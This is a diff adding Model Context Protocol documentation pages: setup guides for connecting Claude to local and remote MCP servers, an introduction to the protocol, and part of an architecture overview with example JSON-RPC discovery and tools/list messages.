+Model Context Protocol (MCP) servers extend AI applications' capabilities by providing secure, controlled access to local resources and tools. Many clients support MCP, enabling diverse integration possibilities across different platforms and applications.
+
+This guide demonstrates how to connect to local MCP servers using Claude Desktop as an example, one of the many clients that support MCP. While we focus on Claude Desktop's implementation, the concepts apply broadly to other MCP-compatible clients. By the end of this tutorial, Claude will be able to interact with files on your computer, create new documents, organize folders, and search through your file system—all with your explicit permission for each action.
+
+
+
+
+
+## Prerequisites
+
+Before starting this tutorial, ensure you have the following installed on your system:
+
+### Claude Desktop
+
+Download and install [Claude Desktop](https://claude.ai/download) for your operating system. Claude Desktop is available for macOS and Windows.
+
+If you already have Claude Desktop installed, verify you're running the latest version by clicking the Claude menu and selecting "Check for Updates..."
+
+### Node.js
+
+The Filesystem Server and many other MCP servers require Node.js to run. Verify your Node.js installation by opening a terminal or command prompt and running:
+
+```bash theme={null}
+node --version
+```
+
+If Node.js is not installed, download it from [nodejs.org](https://nodejs.org/). We recommend the LTS (Long Term Support) version for stability.
+
+## Understanding MCP Servers
+
+MCP servers are programs that run on your computer and provide specific capabilities to Claude Desktop through a standardized protocol. Each server exposes tools that Claude can use to perform actions, with your approval. The Filesystem Server we'll install provides tools for:
+
+* Reading file contents and directory structures
+* Creating new files and directories
+* Moving and renaming files
+* Searching for files by name or content
+
+All actions require your explicit approval before execution, ensuring you maintain full control over what Claude can access and modify.
+
+## Installing the Filesystem Server
+
+The process involves configuring Claude Desktop to automatically start the Filesystem Server whenever you launch the application. This configuration is done through a JSON file that tells Claude Desktop which servers to run and how to connect to them.
+
+
+
+ Start by accessing the Claude Desktop settings. Click on the Claude menu in your system's menu bar (not the settings within the Claude window itself) and select "Settings..."
+
+ On macOS, this appears in the top menu bar:
+
+
+
+
+
+ This opens the Claude Desktop configuration window, which is separate from your Claude account settings.
+
+
+
+ In the Settings window, navigate to the "Developer" tab in the left sidebar. This section contains options for configuring MCP servers and other developer features.
+
+ Click the "Edit Config" button to open the configuration file:
+
+
+
+
+
+ This action creates a new configuration file if one doesn't exist, or opens your existing configuration. The file is located at:
+
+ * **macOS**: `~/Library/Application Support/Claude/claude_desktop_config.json`
+ * **Windows**: `%APPDATA%\Claude\claude_desktop_config.json`
+
+
+
+ Replace the contents of the configuration file with the following JSON structure. This configuration tells Claude Desktop to start the Filesystem Server with access to specific directories:
+
+
+ ```json macOS theme={null}
+ {
+ "mcpServers": {
+ "filesystem": {
+ "command": "npx",
+ "args": [
+ "-y",
+ "@modelcontextprotocol/server-filesystem",
+ "/Users/username/Desktop",
+ "/Users/username/Downloads"
+ ]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "filesystem": {
+ "command": "npx",
+ "args": [
+ "-y",
+ "@modelcontextprotocol/server-filesystem",
+ "C:\\Users\\username\\Desktop",
+ "C:\\Users\\username\\Downloads"
+ ]
+ }
+ }
+ }
+ ```
+
+
+ Replace `username` with your actual computer username. The paths listed in the `args` array specify which directories the Filesystem Server can access. You can modify these paths or add additional directories as needed.
+
+
+ **Understanding the Configuration**
+
+ * `"filesystem"`: A friendly name for the server that appears in Claude Desktop
+ * `"command": "npx"`: Uses Node.js's npx tool to run the server
+ * `"-y"`: Automatically confirms the installation of the server package
+ * `"@modelcontextprotocol/server-filesystem"`: The package name of the Filesystem Server
+ * The remaining arguments: Directories the server is allowed to access
+
+
+
+ **Security Consideration**
+
+ Only grant access to directories you're comfortable with Claude reading and modifying. The server runs with your user account permissions, so it can perform any file operations you can perform manually.
+
+
+
+
+ After saving the configuration file, completely quit Claude Desktop and restart it. The application needs to restart to load the new configuration and start the MCP server.
+
+ Upon successful restart, click the "Add files, connectors, and more /" indicator in the bottom-left corner of the conversation input box:
+
+
+
+
+
+ Click on this indicator, then move the mouse over "Connectors" and click "Manage connectors". Select "filesystem" from the connector list to view the Filesystem Server's available tools:
+
+
+
+
+
+ If the Filesystem Server doesn't connect, refer to the [Troubleshooting](#troubleshooting) section for debugging steps.
+
+
+
+## Using the Filesystem Server
+
+With the Filesystem Server connected, Claude can now interact with your file system. Try these example requests to explore the capabilities:
+
+### File Management Examples
+
+* **"Can you write a poem and save it to my desktop?"** - Claude will compose a poem and create a new text file on your desktop
+* **"What work-related files are in my downloads folder?"** - Claude will scan your downloads and identify work-related documents
+* **"Please organize all images on my desktop into a new folder called 'Images'"** - Claude will create a folder and move image files into it
+
+### How Approval Works
+
+Before executing any file system operation, Claude will request your approval. This ensures you maintain control over all actions:
+
+
+
+
+
+Review each request carefully before approving. You can always deny a request if you're not comfortable with the proposed action.
+
+## Troubleshooting
+
+If you encounter issues setting up or using the Filesystem Server, these solutions address common problems:
+
+
+
+ 1. Restart Claude Desktop completely
+ 2. Check your `claude_desktop_config.json` file syntax
+ 3. Make sure the file paths included in `claude_desktop_config.json` are valid and that they are absolute and not relative
+ 4. Look at [logs](#getting-logs-from-claude-for-desktop) to see why the server is not connecting
+ 5. In your command line, try manually running the server (replacing `username` as you did in `claude_desktop_config.json`) to see if you get any errors:
+
+
+ ```bash macOS/Linux theme={null}
+ npx -y @modelcontextprotocol/server-filesystem /Users/username/Desktop /Users/username/Downloads
+ ```
+
+ ```powershell Windows theme={null}
+ npx -y @modelcontextprotocol/server-filesystem C:\Users\username\Desktop C:\Users\username\Downloads
+ ```
+
+
+
+
+ Claude.app logging related to MCP is written to log files in:
+
+ * macOS: `~/Library/Logs/Claude`
+
+ * Windows: `%APPDATA%\Claude\logs`
+
+ * `mcp.log` will contain general logging about MCP connections and connection failures.
+
+ * Files named `mcp-server-SERVERNAME.log` will contain the stderr output from the named server. Stdio servers may use stderr for all their logging, so these files are not limited to errors.
+
+ You can run the following command to list recent logs and follow along with any new ones (on Windows, it will only show recent logs):
+
+
+ ```bash macOS/Linux theme={null}
+ tail -n 20 -f ~/Library/Logs/Claude/mcp*.log
+ ```
+
+ ```powershell Windows theme={null}
+ type "%APPDATA%\Claude\logs\mcp*.log"
+ ```
+
+
+
+
+ If Claude attempts to use the tools but they fail:
+
+ 1. Check Claude's logs for errors
+ 2. Verify your server builds and runs without errors
+ 3. Try restarting Claude Desktop
+
+
+
+ Please refer to our [debugging guide](/docs/2026-07-28/tools/debugging) for better debugging tools and more detailed guidance.
+
+
+
+ If your configured server fails to load, and you see within its logs an error referring to `${APPDATA}` within a path, you may need to add the expanded value of `%APPDATA%` to your `env` key in `claude_desktop_config.json`:
+
+ ```json theme={null}
+ {
+ "brave-search": {
+ "command": "npx",
+ "args": ["-y", "@modelcontextprotocol/server-brave-search"],
+ "env": {
+ "APPDATA": "C:\\Users\\user\\AppData\\Roaming\\",
+ "BRAVE_API_KEY": "..."
+ }
+ }
+ }
+ ```
+
+ With this change in place, launch Claude Desktop once again.
+
+
+ **npm should be installed globally**
+
+ The `npx` command may continue to fail if you have not installed npm globally. If npm is already installed globally, you will find `%APPDATA%\npm` exists on your system. If not, you can install npm globally by running the following command:
+
+ ```bash theme={null}
+ npm install -g npm
+ ```
+
+
+
+
+## Next Steps
+
+Now that you've successfully connected Claude Desktop to a local MCP server, explore these options to expand your setup:
+
+
+
+ Browse our collection of official and community-created MCP servers for
+ additional capabilities
+
+
+
+ Create custom MCP servers tailored to your specific workflows and
+ integrations
+
+
+
+ Learn how to connect Claude to remote MCP servers for cloud-based tools and
+ services
+
+
+
+ Dive deeper into how MCP works and its architecture
+
+
diff --git a/content/mcp/docs/2026-07-28/develop/connect-remote-servers.md b/content/mcp/docs/2026-07-28/develop/connect-remote-servers.md
new file mode 100644
index 000000000..5ac5393b2
--- /dev/null
+++ b/content/mcp/docs/2026-07-28/develop/connect-remote-servers.md
@@ -0,0 +1,129 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Connect to remote MCP Servers
+
+> Learn how to connect Claude to remote MCP servers and extend its capabilities with internet-hosted tools and data sources
+
+Remote MCP servers extend AI applications' capabilities beyond your local environment, providing access to internet-hosted tools, services, and data sources. By connecting to remote MCP servers, you transform AI assistants from helpful tools into informed teammates capable of handling complex, multi-step projects with real-time access to external resources.
+
+Many clients now support remote MCP servers, enabling a wide range of integration possibilities. This guide demonstrates how to connect to remote MCP servers using [Claude](https://claude.ai/) as an example, one of the many clients that support MCP. While we focus on Claude's implementation through Custom Connectors, the concepts apply broadly to other MCP-compatible clients.
+
+## Understanding Remote MCP Servers
+
+Remote MCP servers function similarly to local MCP servers but are hosted on the internet rather than your local machine. They expose tools, prompts, and resources that Claude can use to perform tasks on your behalf. These servers can integrate with various services such as project management tools, documentation systems, code repositories, and any other API-enabled service.
+
+The key advantage of remote MCP servers is their accessibility. Unlike local servers that require installation and configuration on each device, remote servers are available from any MCP client with an internet connection. This makes them ideal for web-based AI applications, integrations that emphasize ease of use, and services that require server-side processing or authentication.
+
+## What are Custom Connectors?
+
+Custom Connectors serve as the bridge between Claude and remote MCP servers. They allow you to connect Claude directly to the tools and data sources that matter most to your workflows, enabling Claude to operate within your favorite software and draw insights from the complete context of your external tools.
+
+With Custom Connectors, you can:
+
+* [Connect Claude to existing remote MCP servers](https://support.anthropic.com/en/articles/11175166-getting-started-with-custom-connectors-using-remote-mcp) provided by third-party developers
+* [Build your own remote MCP servers to connect with any tool](https://support.anthropic.com/en/articles/11503834-building-custom-connectors-via-remote-mcp-servers)
+
+## Connecting to a Remote MCP Server
+
+The process of connecting Claude to a remote MCP server involves adding a Custom Connector through the [Claude interface](https://claude.ai/). This establishes a secure connection between Claude and your chosen remote server.
+
+
+
+ Open Claude Desktop or Claude in your browser, then navigate to the settings page:
+
+ * **Desktop**: Either use the keyboard shortcut `Ctrl+Comma` or click the top-left menu icon , hover over "File", and select "Settings"
+ * **Browser**: Either use the keyboard shortcut `⌘⇧,` (*macOS*) or click on your profile icon, and select "Settings" from the menu
+
+ Once you're in the settings page, click "Connectors" in the sidebar. This displays your currently configured connectors and provides options for adding new ones.
+
+
+
+ In the Connectors section, click the "Add" button at the top-right of the window, then select "Add custom connector" from the dropdown. This begins the connection process. To follow along, copy/paste the URL below:
+
+ ```text Example Remote Server theme={null}
+ https://example-server.modelcontextprotocol.io/mcp
+ ```
+
+
+
+
+
+ A dialog will appear prompting you to enter the remote MCP server URL. This URL should be provided by the server developer or administrator. Enter the complete URL, ensuring it includes the proper protocol (https\://) and any necessary path components.
+
+
+
+
+
+ After entering the URL, click "Add" to proceed with the connection.
+
+
+
+ Most remote MCP servers require authentication to ensure secure access to their resources. The authentication process varies depending on the server implementation but commonly involves OAuth, API keys, or username/password combinations.
+
+
+
+
+
+ Follow the authentication prompts provided by the server. This may redirect you to a third-party authentication provider or display a form within Claude. Once authentication is complete, Claude will establish a secure connection to the remote server.
+
+
+
+ After successful connection, the remote server’s resources and prompts become available in your Claude conversations. You can access these by clicking the "Add files, connectors, and more /" indicator in the bottom-left corner of the message input area. Then hover over "Connectors", move the cursor over "Add to Example Remote Server", where hovering displays the attachment menu.
+
+
+
+
+
+ The menu displays all available resources and prompts from your connected server. Select the items you want to include in your conversation. These resources provide Claude with context and information from your external tools.
+
+
+
+
+
+
+
+ Remote MCP servers often expose multiple tools with varying capabilities. You can control which tools Claude is allowed to use by configuring permissions in the connector settings. This ensures Claude only performs actions you've explicitly authorized.
+
+
+
+
+
+ Navigate back to the Connectors settings and click on your connected server. Here you can enable or disable specific tools, set usage limits, and configure other security parameters according to your needs.
+
+
+
+## Best Practices for Using Remote MCP Servers
+
+When working with remote MCP servers, consider these recommendations to ensure a secure and efficient experience:
+
+**Security considerations**: Always verify the authenticity of remote MCP servers before connecting. Only connect to servers from trusted sources, and review the permissions requested during authentication. Be cautious about granting access to sensitive data or systems.
+
+**Managing multiple connectors**: You can connect to multiple remote MCP servers simultaneously. Organize your connectors by purpose or project to maintain clarity. Regularly review and remove connectors you no longer use to keep your workspace organized and secure.
+
+## Next Steps
+
+Now that you've connected Claude to a remote MCP server, you can explore its capabilities in your conversations. Try using the connected tools to automate tasks, access external data, or integrate with your existing workflows.
+
+
+
+ Create custom remote MCP servers to integrate with proprietary tools and
+ services
+
+
+
+ Browse our collection of official and community-created MCP servers
+
+
+
+ Learn how to connect Claude Desktop to local MCP servers for direct system
+ access
+
+
+
+ Dive deeper into how MCP works and its architecture
+
+
+
+Remote MCP servers unlock powerful possibilities for extending Claude's capabilities. As you become familiar with these integrations, you'll discover new ways to streamline your workflows and accomplish complex tasks more efficiently.
diff --git a/content/mcp/docs/2026-07-28/getting-started/intro.md b/content/mcp/docs/2026-07-28/getting-started/intro.md
new file mode 100644
index 000000000..70b47deef
--- /dev/null
+++ b/content/mcp/docs/2026-07-28/getting-started/intro.md
@@ -0,0 +1,58 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# What is the Model Context Protocol (MCP)?
+
+MCP (Model Context Protocol) is an open-source standard for connecting AI applications to external systems.
+
+Using MCP, AI applications like Claude or ChatGPT can connect to data sources (e.g. local files, databases), tools (e.g. search engines, calculators) and workflows (e.g. specialized prompts)—enabling them to access key information and perform tasks.
+
+Think of MCP like a USB-C port for AI applications. Just as USB-C provides a standardized way to connect electronic devices, MCP provides a standardized way to connect AI applications to external systems.
+
+
+
+
+
+## What can MCP enable?
+
+* Agents can access your Google Calendar and Notion, acting as a more personalized AI assistant.
+* Claude Code can generate an entire web app using a Figma design.
+* Enterprise chatbots can connect to multiple databases across an organization, empowering users to analyze data using chat.
+* AI models can create 3D designs on Blender and print them out using a 3D printer.
+
+## Why does MCP matter?
+
+Depending on where you sit in the ecosystem, MCP can have a range of benefits.
+
+* **Developers**: MCP reduces development time and complexity when building, or integrating with, an AI application or agent.
+* **AI applications or agents**: MCP provides access to an ecosystem of data sources, tools and apps which will enhance capabilities and improve the end-user experience.
+* **End-users**: MCP results in more capable AI applications or agents which can access your data and take actions on your behalf when necessary.
+
+## Broad ecosystem support
+
+MCP is an open protocol supported across a wide range of clients and servers. AI assistants like [Claude](https://claude.com/docs/connectors/building) and [ChatGPT](https://developers.openai.com/api/docs/mcp/), development tools like [Visual Studio Code](https://code.visualstudio.com/docs/copilot/chat/mcp-servers), [Cursor](https://cursor.com/docs/context/mcp), [MCPJam](https://docs.mcpjam.com/getting-started), and many others all support MCP — making it easy to build once and integrate everywhere.
+
+## Start Building
+
+
+
+ Create MCP servers to expose your data and tools
+
+
+
+ Develop applications that connect to MCP servers
+
+
+
+ Build interactive apps that run inside AI clients
+
+
+
+## Learn more
+
+
+
+ Learn the core concepts and architecture of MCP
+
+
diff --git a/content/mcp/docs/2026-07-28/learn/architecture.md b/content/mcp/docs/2026-07-28/learn/architecture.md
new file mode 100644
index 000000000..574de2f6f
--- /dev/null
+++ b/content/mcp/docs/2026-07-28/learn/architecture.md
@@ -0,0 +1,566 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Architecture overview
+
+This overview of the Model Context Protocol (MCP) discusses its [scope](#scope) and [core concepts](#concepts-of-mcp), and provides an [example](#example) demonstrating each core concept.
+
+Because MCP SDKs abstract away many concerns, most developers will likely find the [data layer protocol](#data-layer-protocol) section to be the most useful. It discusses how MCP servers can provide context to an AI application.
+
+For specific implementation details, please refer to the documentation for your [language-specific SDK](/docs/2026-07-28/sdk).
+
+## Scope
+
+The Model Context Protocol includes the following projects:
+
+* [MCP Specification](https://modelcontextprotocol.io/specification/latest): A specification of MCP that outlines the implementation requirements for clients and servers.
+* [MCP SDKs](/docs/2026-07-28/sdk): SDKs for different programming languages that implement MCP.
+* **MCP Development Tools**: Tools for developing MCP servers and clients, including the [MCP Inspector](https://github.com/modelcontextprotocol/inspector)
+* [MCP Reference Server Implementations](https://github.com/modelcontextprotocol/servers): Reference implementations of MCP servers.
+
+
+ MCP focuses solely on the protocol for context exchange—it does not dictate
+ how AI applications use LLMs or manage the provided context.
+
+
+## Concepts of MCP
+
+### Participants
+
+MCP follows a client-server architecture where an MCP host — an AI application like [Claude Code](https://www.anthropic.com/claude-code) or [Claude Desktop](https://www.claude.ai/download) — establishes connections to one or more MCP servers. The MCP host accomplishes this by creating one MCP client for each MCP server. Each MCP client maintains a dedicated connection with its corresponding MCP server.
+
+Local MCP servers that use the STDIO transport typically serve a single MCP client, whereas remote MCP servers that use the Streamable HTTP transport will typically serve many MCP clients.
+
+The key participants in the MCP architecture are:
+
+* **MCP Host**: The AI application that coordinates and manages one or multiple MCP clients
+* **MCP Client**: A component that maintains a connection to an MCP server and obtains context from an MCP server for the MCP host to use
+* **MCP Server**: A program that provides context to MCP clients
+
+**For example**: Visual Studio Code acts as an MCP host. When Visual Studio Code establishes a connection to an MCP server, such as the [Sentry MCP server](https://docs.sentry.io/product/sentry-mcp/), the Visual Studio Code runtime instantiates an MCP client object that maintains the connection to the Sentry MCP server.
+When Visual Studio Code subsequently connects to another MCP server, such as the [local filesystem server](https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem), the Visual Studio Code runtime instantiates an additional MCP client object to maintain this connection.
+
+```mermaid theme={null}
+graph TB
+ subgraph "MCP Host (AI Application)"
+ Client1["MCP Client 1"]
+ Client2["MCP Client 2"]
+ Client3["MCP Client 3"]
+ Client4["MCP Client 4"]
+ end
+
+ ServerA["MCP Server A - Local (e.g. Filesystem)"]
+ ServerB["MCP Server B - Local (e.g. Database)"]
+ ServerC["MCP Server C - Remote (e.g. Sentry)"]
+
+ Client1 ---|"Dedicated connection"| ServerA
+ Client2 ---|"Dedicated connection"| ServerB
+ Client3 ---|"Dedicated connection"| ServerC
+ Client4 ---|"Dedicated connection"| ServerC
+```
+
+Note that **MCP server** refers to the program that serves context data, regardless of
+where it runs. MCP servers can execute locally or remotely. For example, when
+Claude Desktop launches the [filesystem
+server](https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem),
+the server runs locally on the same machine because it uses the STDIO
+transport. This is commonly referred to as a "local" MCP server. The official
+[Sentry MCP server](https://docs.sentry.io/product/sentry-mcp/) runs on the
+Sentry platform, and uses the Streamable HTTP transport. This is commonly
+referred to as a "remote" MCP server.
+
+### Layers
+
+MCP consists of two layers:
+
+* **Data layer**: Defines the JSON-RPC based protocol for client-server communication, including capability and version discovery, and core primitives, such as tools, resources, prompts and notifications.
+* **Transport layer**: Defines the communication mechanisms and channels that enable data exchange between clients and servers, including transport-specific connection establishment, message framing, and authorization.
+
+Conceptually the data layer is the inner layer, while the transport layer is the outer layer.
+
+#### Data layer
+
+The data layer implements a [JSON-RPC 2.0](https://www.jsonrpc.org/) based exchange protocol that defines the message structure and semantics.
+This layer includes:
+
+* **Discovery**: Lets clients query a server's supported protocol versions, capabilities, and identity through the `server/discover` request
+* **Server features**: Enables servers to provide core functionality including tools for AI actions, resources for context data, and prompts for interaction templates from and to the client
+* **Client features**: Enables servers to elicit input from the user. Sampling is [deprecated](/specification/2026-07-28/deprecated) as of protocol version `2026-07-28`.
+* **Utility features**: Supports additional capabilities like notifications for real-time updates and progress tracking for long-running operations
+
+#### Transport layer
+
+The transport layer manages communication channels and authentication between clients and servers. It handles connection establishment, message framing, and secure communication between MCP participants.
+
+MCP supports two transport mechanisms:
+
+* **Stdio transport**: Uses standard input/output streams for direct process communication between local processes on the same machine, providing optimal performance with no network overhead.
+* **Streamable HTTP transport**: Uses HTTP POST for client-to-server messages with optional Server-Sent Events for streaming capabilities. This transport enables remote server communication and supports standard HTTP authentication methods including bearer tokens, API keys, and custom headers. MCP recommends using OAuth to obtain authentication tokens.
+
+The transport layer abstracts communication details from the protocol layer, enabling the same JSON-RPC 2.0 message format across all transport mechanisms.
+
+### Data Layer Protocol
+
+A core part of MCP is defining the schema and semantics between MCP clients and MCP servers. Developers will likely find the data layer — in particular, the set of [primitives](#primitives) — to be the most interesting part of MCP. It is the part of MCP that defines the ways developers can share context from MCP servers to MCP clients.
+
+MCP uses [JSON-RPC 2.0](https://www.jsonrpc.org/) as its underlying RPC protocol. Client and servers send requests to each other and respond accordingly. Notifications can be used when no response is required.
+
+#### Statelessness and discovery
+
+MCP is a stateless protocol. Every request carries the protocol version and the capabilities relevant to that request in its `_meta` field, so the server can process each request on its own. Clients should also identify themselves in the same field unless configured not to. Servers advertise their supported versions and capabilities through the mandatory [`server/discover`](/specification/2026-07-28/server/discover) request, which clients may send before any other request. Detailed information can be found in the [specification](/specification/2026-07-28/basic/index#statelessness), and the [example](#example) showcases the per-request metadata and the discovery sequence.
+
+#### Primitives
+
+MCP primitives are the most important concept within MCP. They define what clients and servers can offer each other. These primitives specify the types of contextual information that can be shared with AI applications and the range of actions that can be performed.
+
+MCP defines three core primitives that *servers* can expose:
+
+* **Tools**: Executable functions that AI applications can invoke to perform actions (e.g., file operations, API calls, database queries)
+* **Resources**: Data sources that provide contextual information to AI applications (e.g., file contents, database records, API responses)
+* **Prompts**: Reusable templates that help structure interactions with language models (e.g., system prompts, few-shot examples)
+
+Each primitive type has associated methods for discovery (`*/list`), retrieval (`*/get`), and in some cases, execution (`tools/call`).
+MCP clients will use the `*/list` methods to discover available primitives. For example, a client can first list all available tools (`tools/list`) and then execute them. This design allows listings to be dynamic.
+
+As a concrete example, consider an MCP server that provides context about a database. It can expose tools for querying the database, a resource that contains the schema of the database, and a prompt that includes few-shot examples for interacting with the tools.
+
+For more details about server primitives see [server concepts](./server-concepts).
+
+MCP also defines primitives that *clients* can expose. These primitives allow MCP server authors to build richer interactions.
+
+* **Elicitation**: Allows servers to request additional information from users. This is useful when server authors want to get more information from the user, or ask for confirmation of an action. Servers request user input with the `elicitation/create` method.
+
+Elicitation requests are delivered through the [Multi Round-Trip Requests](/specification/2026-07-28/basic/patterns/mrtr) pattern, explained in the [elicitation overview](/docs/2026-07-28/learn/client-concepts#elicitation).
+
+**Deprecated**: The following client primitives are deprecated as of protocol version `2026-07-28`.
+
+* **Sampling**: Allows servers to request language model completions from the client's AI application. This is useful when server authors want access to a language model, but want to stay model-independent and not include a language model SDK in their MCP server. Servers request completions with the `sampling/createMessage` method, also delivered through the Multi Round-Trip Requests pattern. New implementations should integrate directly with LLM provider APIs.
+* **Logging**: Enables servers to send log messages to clients for debugging and monitoring purposes. New implementations should log to `stderr` (stdio transport) or use OpenTelemetry.
+
+For more details about client primitives see [client concepts](./client-concepts).
+
+Besides server and client primitives, the protocol supports optional [extensions](/extensions/overview) that build on the core protocol. For example, the [Tasks extension](/extensions/tasks/overview) lets servers return a durable handle for long-running requests, so clients can poll for status and retrieve the result later.
+
+#### Notifications
+
+The protocol supports real-time notifications to enable dynamic updates between servers and clients. For example, when a server's available tools change (such as when new functionality becomes available or existing tools are modified), the server can send tool update notifications to inform connected clients about these changes. Notifications are sent as JSON-RPC 2.0 notification messages (without expecting a response). Change notifications are opt-in: the client opens a long-lived [`subscriptions/listen`](/specification/2026-07-28/basic/patterns/subscriptions) stream naming the notification types it wants to receive, and the server delivers matching notifications on that stream.
+
+## Example
+
+### Data Layer
+
+This section provides a step-by-step walkthrough of an MCP client-server interaction, focusing on the data layer protocol. We'll demonstrate discovery, tool operations, and notifications using JSON-RPC 2.0 messages.
+
+
+
+ As described in the [statelessness and discovery](#statelessness-and-discovery) section, every MCP request carries the protocol version and client capabilities in its `_meta` field, and clients should also include their identity there. A client that wants to learn what a server supports before issuing other requests sends a `server/discover` request, which every server must implement. The discovery response is typically cacheable, meaning it can be re-used so the discovery flow does not need to be performed for every request.
+
+
+ ```json Discover Request theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 1,
+ "method": "server/discover",
+ "params": {
+ "_meta": {
+ "io.modelcontextprotocol/protocolVersion": "2026-07-28",
+ "io.modelcontextprotocol/clientInfo": {
+ "name": "example-client",
+ "version": "1.0.0"
+ },
+ "io.modelcontextprotocol/clientCapabilities": {
+ "elicitation": {}
+ }
+ }
+ }
+ }
+ ```
+
+ ```json Discover Response theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 1,
+ "result": {
+ "resultType": "complete",
+ "supportedVersions": ["2026-07-28"],
+ "capabilities": {
+ "tools": {
+ "listChanged": true
+ },
+ "resources": {}
+ },
+ "_meta": {
+ "io.modelcontextprotocol/serverInfo": {
+ "name": "example-server",
+ "version": "1.0.0"
+ }
+ },
+ "ttlMs": 3600000,
+ "cacheScope": "public"
+ }
+ }
+ ```
+
+
+ #### Understanding the Discovery Exchange
+
+ The `_meta` fields and the discovery response together serve several purposes:
+
+ 1. **Protocol Version Selection**: The `io.modelcontextprotocol/protocolVersion` field declares the version the client is speaking on this request, and `supportedVersions` in the response lists the versions the server accepts. If a server does not support the requested version, it rejects the request with an `UnsupportedProtocolVersionError` listing the versions it does support, and the client retries with a mutually supported version.
+
+ 2. **Capability Discovery**: The client declares its capabilities in `io.modelcontextprotocol/clientCapabilities` on every request, and the server returns its own `capabilities` object from `server/discover`. This tells each party which [primitives](#primitives) the other can handle (tools, resources, prompts) and whether change [notifications](#notifications) are available, so unsupported operations are never attempted.
+
+ 3. **Identity Exchange**: The `io.modelcontextprotocol/clientInfo` field in the request's `_meta` and the `io.modelcontextprotocol/serverInfo` field in the result's `_meta` provide identification and versioning information for debugging and compatibility purposes.
+
+ In this example, the exchange demonstrates how MCP capabilities are declared:
+
+ **Client Capabilities**:
+
+ * `"elicitation": {}` - The client declares it can gather additional input from the user when the server requests it
+
+ **Server Capabilities**:
+
+ * `"tools": {"listChanged": true}` - The server supports the tools primitive and can honor a `toolsListChanged` filter in [`subscriptions/listen`](/specification/2026-07-28/basic/patterns/subscriptions). Clients that request this filter receive `notifications/tools/list_changed` when the tool list changes.
+ * `"resources": {}` - The server also supports the resources primitive (can handle `resources/list` and `resources/read` methods)
+
+ Calling `server/discover` is optional. Because every request carries the same `_meta` fields, a client is free to send any request directly and handle a version error if one comes back. Discovery is a convenient way to fetch the server's identity, capabilities, and supported versions in a single request.
+
+ #### How This Works in AI Applications
+
+ The AI application's MCP client manager connects to configured servers and stores their discovered capabilities for later use. The application uses this information to determine which servers can provide specific types of functionality (tools, resources, prompts) and whether they support real-time updates. In the Python SDK, discovery happens while the client connects. The results are then available on the client object.
+
+ ```python Pseudo-code for AI application discovery theme={null}
+ # Pseudo Code
+ async with Client(stdio_client(server_config)) as client:
+ if client.server_capabilities.tools:
+ app.register_mcp_server(client, supports_tools=True)
+ app.set_server_ready(client)
+ ```
+
+
+
+ The client can discover available tools by sending a `tools/list` request. This request is fundamental to MCP's tool discovery mechanism: it allows clients to understand what tools are available on the server before attempting to use them.
+
+
+ ```json Tools List Request theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 2,
+ "method": "tools/list",
+ "params": {
+ "_meta": {
+ "io.modelcontextprotocol/protocolVersion": "2026-07-28",
+ "io.modelcontextprotocol/clientInfo": {
+ "name": "example-client",
+ "version": "1.0.0"
+ },
+ "io.modelcontextprotocol/clientCapabilities": {
+ "elicitation": {}
+ }
+ }
+ }
+ }
+ ```
+
+ ```json Tools List Response theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 2,
+ "result": {
+ "resultType": "complete",
+ "tools": [
+ {
+ "name": "calculator_arithmetic",
+ "title": "Calculator",
+ "description": "Perform mathematical calculations including basic arithmetic, trigonometric functions, and algebraic operations",
+ "inputSchema": {
+ "type": "object",
+ "properties": {
+ "expression": {
+ "type": "string",
+ "description": "Mathematical expression to evaluate (e.g., '2 + 3 * 4', 'sin(30)', 'sqrt(16)')"
+ }
+ },
+ "required": ["expression"]
+ }
+ },
+ {
+ "name": "weather_current",
+ "title": "Weather Information",
+ "description": "Get current weather information for any location worldwide",
+ "inputSchema": {
+ "type": "object",
+ "properties": {
+ "location": {
+ "type": "string",
+ "description": "City name, address, or coordinates (latitude,longitude)"
+ },
+ "units": {
+ "type": "string",
+ "enum": ["metric", "imperial", "kelvin"],
+ "description": "Temperature units to use in response",
+ "default": "metric"
+ }
+ },
+ "required": ["location"]
+ }
+ }
+ ],
+ "ttlMs": 300000,
+ "cacheScope": "public"
+ }
+ }
+ ```
+
+
+ #### Understanding the Tool Discovery Request
+
+ The `tools/list` request requires no parameters beyond the standard `_meta` fields that accompany every MCP request. It also accepts an optional `cursor` parameter for [pagination](/specification/2026-07-28/server/utilities/pagination), which the example above omits.
+
+ #### Understanding the Tool Discovery Response
+
+ The response contains a `tools` array that provides comprehensive metadata about each available tool. This array-based structure allows servers to expose multiple tools simultaneously while maintaining clear boundaries between different functionalities.
+
+ Each tool object in the response includes several key fields:
+
+ * **`name`**: A unique identifier for the tool within the server's namespace. This serves as the primary key for tool execution and should follow a clear naming pattern (e.g., `calculator_arithmetic` rather than just `calculate`)
+ * **`title`**: A human-readable display name for the tool that clients can show to users
+ * **`description`**: Detailed explanation of what the tool does and when to use it
+ * **`inputSchema`**: A JSON Schema that defines the expected input parameters, enabling type validation and providing clear documentation about required and optional parameters
+
+ The result is marked `"resultType": "complete"` and carries two caching fields. `ttlMs` is a freshness hint in milliseconds, so this tool list can be cached for five minutes. `cacheScope` indicates who may reuse the response. The specification's [caching utility](/specification/2026-07-28/server/utilities/caching) defines the full rules.
+
+ #### How This Works in AI Applications
+
+ The AI application fetches available tools from all connected MCP servers and combines them into a unified tool registry that the language model can access. This allows the LLM to understand what actions it can perform and automatically generates the appropriate tool calls during conversations.
+
+ ```python Pseudo-code for AI application tool discovery theme={null}
+ # Pseudo-code using MCP Python SDK patterns
+ available_tools = []
+ for client in app.mcp_clients():
+ tools_response = await client.list_tools()
+ available_tools.extend(tools_response.tools)
+ conversation.register_available_tools(available_tools)
+ ```
+
+ Clients that federate many servers can use [progressive tool discovery](/docs/2026-07-28/develop/clients/client-best-practices#progressive-tool-discovery) rather than loading every tool upfront.
+
+
+
